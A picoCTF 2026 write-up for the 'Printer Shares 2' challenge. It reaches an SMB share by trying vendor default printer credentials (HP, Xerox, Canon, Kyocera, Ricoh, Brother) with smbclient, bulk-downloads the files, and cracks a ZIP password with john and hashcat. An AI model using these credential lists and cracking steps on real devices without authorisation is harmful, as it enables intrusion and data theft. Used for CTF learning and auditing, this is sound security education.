Printer Shares 2 picoCTF 2026 Solution

Published: March 20, 2026

Description

A Secure Printer is now in use. I'm confident no one can leak the message again... or can you?

Launch the challenge instance and note the host and port.

This is a follow-up to Printer Shares - the server is 'more secure' but still uses SMB.

bash
sudo apt install smbclient
  1. Step 1List SMB shares with default credentials
    The server now requires credentials. Default printer/MFP creds are vendor-dependent: HP, Xerox, Canon, Kyocera, Ricoh, and Brother all ship with different documented defaults. Try the common pairs in order, easiest first.
    bash
    # Anonymous / guest first - sometimes still allowed:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -N
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U guest%
    bash
    # Generic admin defaults:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%admin
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%password
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%
    bash
    # Vendor-specific defaults:
    bash
    # HP / HP LaserJet:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%hpinvent
    bash
    # Xerox WorkCentre:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%1111
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%2222
    bash
    # Canon:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U ADMIN%canon
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U 7654321%7654321
    bash
    # Kyocera:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U Admin%Admin
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin00%admin00
    bash
    # Ricoh:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%password
    bash
    # Brother:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U admin%initpass
    bash
    # Application-themed:
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -U printer%printer
    Learn more

    SMB (Server Message Block) is a network protocol used primarily for file sharing, printer sharing, and network browsing. It's the protocol behind Windows "network shares" (\\server\share) and is also implemented on Linux via Samba. SMB has a long history of critical vulnerabilities - EternalBlue (MS17-010) used by the WannaCry ransomware exploited an SMB buffer overflow to achieve unauthenticated remote code execution.

    Default credentials are a pervasive problem in embedded devices, printers, and enterprise equipment. Vendors ship devices with factory-set usernames and passwords (admin/admin, guest/(blank), printer/printer) because it simplifies initial setup. When organisations deploy these devices without changing the defaults, they create trivially accessible entry points.

    The smbclient syntax for credentials is -U username%password. For anonymous (guest) access, -U guest% sends guest with an empty password, and -N skips authentication entirely (null session). Tools like enum4linux and nmap --script smb-enum-shares automate SMB enumeration more comprehensively.

  2. Step 2Connect to the share
    Connect to the shares directory using the working credentials.
    bash
    smbclient //HOST/shares -p PORT -U guest%
    Learn more

    SMB shares have access control lists that can restrict which users can connect and what operations they can perform (read, write, change). In this challenge, the "security" improvement over Printer Shares 1 is requiring authentication - but default printer credentials still grant access, demonstrating that authentication alone doesn't mean security if the credentials are weak or default.

    In real SMB audits, after finding valid credentials you enumerate: smbclient -L to list all shares (including hidden ones ending in $), then connect to each share and run recurse ON; ls to recursively list all files. Tools like smbmap do this automatically and show read/write permissions per share per user.

    The -p PORT flag is necessary here because the challenge runs SMB on a non-standard port instead of the default 445 (or 139 for older NetBIOS-over-TCP). In real network reconnaissance, a full port scan (nmap -p- or at least nmap -p 139,445) is the first step to finding SMB services regardless of port.

  3. Step 3Navigate and download the flag
    Use recurse ON; ls inside smbclient to walk every subdirectory at once instead of cd-ing manually. If the flag is inside a password-protected ZIP, crack it offline with zip2john + john.
    bash
    # Inside the smbclient prompt:
    bash
    recurse ON
    bash
    prompt OFF
    bash
    ls
    bash
    # Pull everything in one shot:
    bash
    mget *
    bash
    exit
    bash
    # If you find a password-protected ZIP, crack it:
    bash
    zip2john secret.zip > zip.hash
    bash
    john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
    bash
    # Or with hashcat (mode 13600 = WinZip):
    bash
    hashcat -m 13600 -a 0 zip.hash /usr/share/wordlists/rockyou.txt
    bash
    # Then extract with the cracked password:
    bash
    unzip -P <password> secret.zip
    bash
    cat flag.txt
    Learn more

    The smbclient interactive shell uses familiar Unix-like commands (ls, cd, get, put, mkdir) to navigate and transfer files. get filename downloads a file to your local current directory. For bulk downloads, mget * (with prompt OFF to skip confirmation) downloads all files in the current directory.

    Hidden shares (ending in $) like ADMIN$, C$, and IPC$ are administrative shares that require administrator credentials but can reveal a great deal about the system. On Windows, C$ gives direct access to the C: drive if you have administrator rights - this is why credential theft combined with SMB is so powerful in lateral movement during real attacks.

    After downloading files, always verify them with file and strings. Sometimes flags are embedded in binary files, images, or PDFs rather than plain text files, requiring additional forensic extraction steps. For the SMB recon toolkit see Networking tools for CTF; for offline ZIP/RAR password cracking see Hash cracking for CTF.

Flag

picoCTF{pr1nt3r_shar3s_2_...}

The second printer challenge requires authentication - default printer credentials grant access to the flag.

Want more picoCTF 2026 writeups?

Useful tools for General Skills

Related reading

What to try next